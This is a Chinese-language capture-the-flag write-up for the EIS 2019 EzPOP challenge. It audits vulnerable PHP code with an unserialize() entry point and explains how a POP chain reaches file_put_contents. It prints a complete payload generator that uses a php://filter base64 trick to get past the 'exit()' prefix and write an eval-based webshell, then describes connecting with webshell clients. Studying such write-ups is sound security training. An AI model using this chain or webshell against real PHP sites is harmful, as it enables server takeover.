[EIS 2019]EzPOP 1
目录
考察内容
解题思路
解题流程
新知识点
题目地址
考察内容
反序列化,文件上传,代码审计
解题思路
首先耐心阅读完每段代码,发现__destruct,unserialize(),考察反序列化知识,file_put_contents()考察文件上传知识。
第一:发现file_put_contents函数有两个参数filename和data,所以一个是写入shell的路径和shell的数据
data与死亡exit进行连接(可绕过)
第二 :filename参数是options['prefix']和$name进行拼接的结果,而这里的**$name是形参**,所以这个$name是A类的key变量,是由save函数传递过来的由于options[‘prefix’]可控所以这里我们可以使
options['prefix']="php://filter/write=convert.base64-decode/resource="; key="webshell.php";
第三:构造shell的内容,也就是data变量,而data变量被serialize函数处理,是通过set函数中的$value变量传递过来的,而$value变量是A类中的**$contents变量传递**过来的,所以我们可以构造cache这个变量为数组,然后经过两个函数的处理,我们可以控制complete这个变量为shell的数据,经过json_encod这个函数的处理之后,由于json格式的字符都不满足base64编码的要求,所以我们可以将数据进行base64编码绕过,也就是
A->complete=base64_encode('xxx',base64_encode('<?php @eval($_POST["ro4lsc"]);?>'))
首先将shellcode进行base64编码使得base64decode的时候不会影响其内容,然后再次进行base64_encode是为了绕过死亡exit,由于解码之后只剩21个字符,所以这里需要自己添加三个字符,使得前面有24个字符可以base64正常解码不影响后面shellcode的执行那么到这里data的内容也构造好了,
第四:可是我们发现使用php伪协议只解了一次编码,而我们这里经历了两次base64编码前面提到了一个serialize函数
可以看到返回值是$serialize,也就是说这里我们可以让这个变量为base64_decode函数对data变量进行解码。
第五:public function getForStorage这里我们还需要传入一个cache为数组内容为空
A->cache=array();
第六:现在我们可以看A类save函数这个地方的利用很重要,它调用了getForStorage函数,后面的$this->store这个地方得是对象B才能调用set函数。所以
A->store = new B();
解题流程
代码审计
<?php error_reporting(0); class A { protected $store; protected $key; protected $expire; public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; } // 对变量进行赋值 public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; } // array_flip() 用于反转/交换数组中所有的键名以及它们关联的键值 // => 简单来说就是=>符号来分隔键和值,左侧表示键,右侧表示值 // array_intersect_key() 比较两个数组的键名,并返回交集: // foreach() 循环用于遍历数组每一次循环,当前数组元素的键与值就都会被赋值给 $key 和 $value 变量(数字指针会逐一地移动),在进行下一次循环时,你将看到数组中的下一个键与值。 // 过滤与cachedProperties变量中键不同的值 public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); } // Storage 存储 // 对cache变量的内容进行过滤,传递给cleaned,最终返回将cleaned内容转换为json格式后传给complete。 // 因为不存在cache变量,所以需要我们构造,所以cache可控,所以complete可控。 public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); } // 将getForStorage函数的返回值赋给contents,然后用store变量调用set函数 // set函数存在于B类中 public function __destruct() { if (!$this->autosave) { $this->save(); } } } // 如果不存在autosave变量就调用save函数 class B { protected function getExpireTime($expire): int { return (int) $expire; } // 将expire变量转换为int类型 public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; } // 拼接字符串 // 发现这里的options[‘prefix’]可控 protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize']; return $serialize($data); } // 将传入的data参数将会格式化为string类型 // 可以看到$serialize变量可控 public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { // 创建失败 } } $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { return true; } return false; } // is_null()判断参数是否为NULL,若为空,则将options['expire']赋值给expire // expire变量调用了getExpireTime这个函数,格式化为int类型 // filename变量调用了getCacheKey这个函数,所以filename这个变量最终的值是和options[‘prefix’]拼接而成,然后根据filename创建目录 // 接着看到data变量调用了serialize函数,正好这个函数需要传入一个值 // 接下来对data进行压缩 // 最后这个地方data数据与<?php exit();?连接,也就是说即使我们传上了木马也无济于事,会直接退出,也就是PHP中的死亡exit(). } if (isset($_GET['src'])) { highlight_file(__FILE__); } $dir = "uploads/"; if (!is_dir($dir)) { mkdir($dir); } unserialize($_GET["data"]);
payload:
<?php class A{ protected $store; protected $key; protected $expire; public function __construct() { $this->cache = array(); $this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["ro4lsc"]);?>')); $this->key = "shell.php"; $this->store = new B(); $this->autosave = false; $this->expire = 0; } } class B{ public $options = array(); function __construct() { $this->options['serialize'] = 'base64_decode'; $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource='; $this->options['data_compress'] = false; } } echo urlencode(serialize(new A()));
验证
使用?data=传递参数,它会在当前工作目录创建一个shell.php,菜刀orAntSword连接getshell。
新知识点
php://filter的妙用
这个地方data数据与<?php exit();?>连接,也就是说即使我们传上了木马也无济于事,会直接退出,也就是PHP中的死亡exit(),但是也不是没有绕过的方法,这里引用@p神的一篇文章由于<、?、()、;、>、\n都不是base64编码的范围,所以base64解码的时候会自动将其忽略,所以解码之后就剩phpexit了,但是呢base64算法解码时是4个字节一组,所以我们还需要在前面加个字符
题目地址
https://buuoj.cn/challenges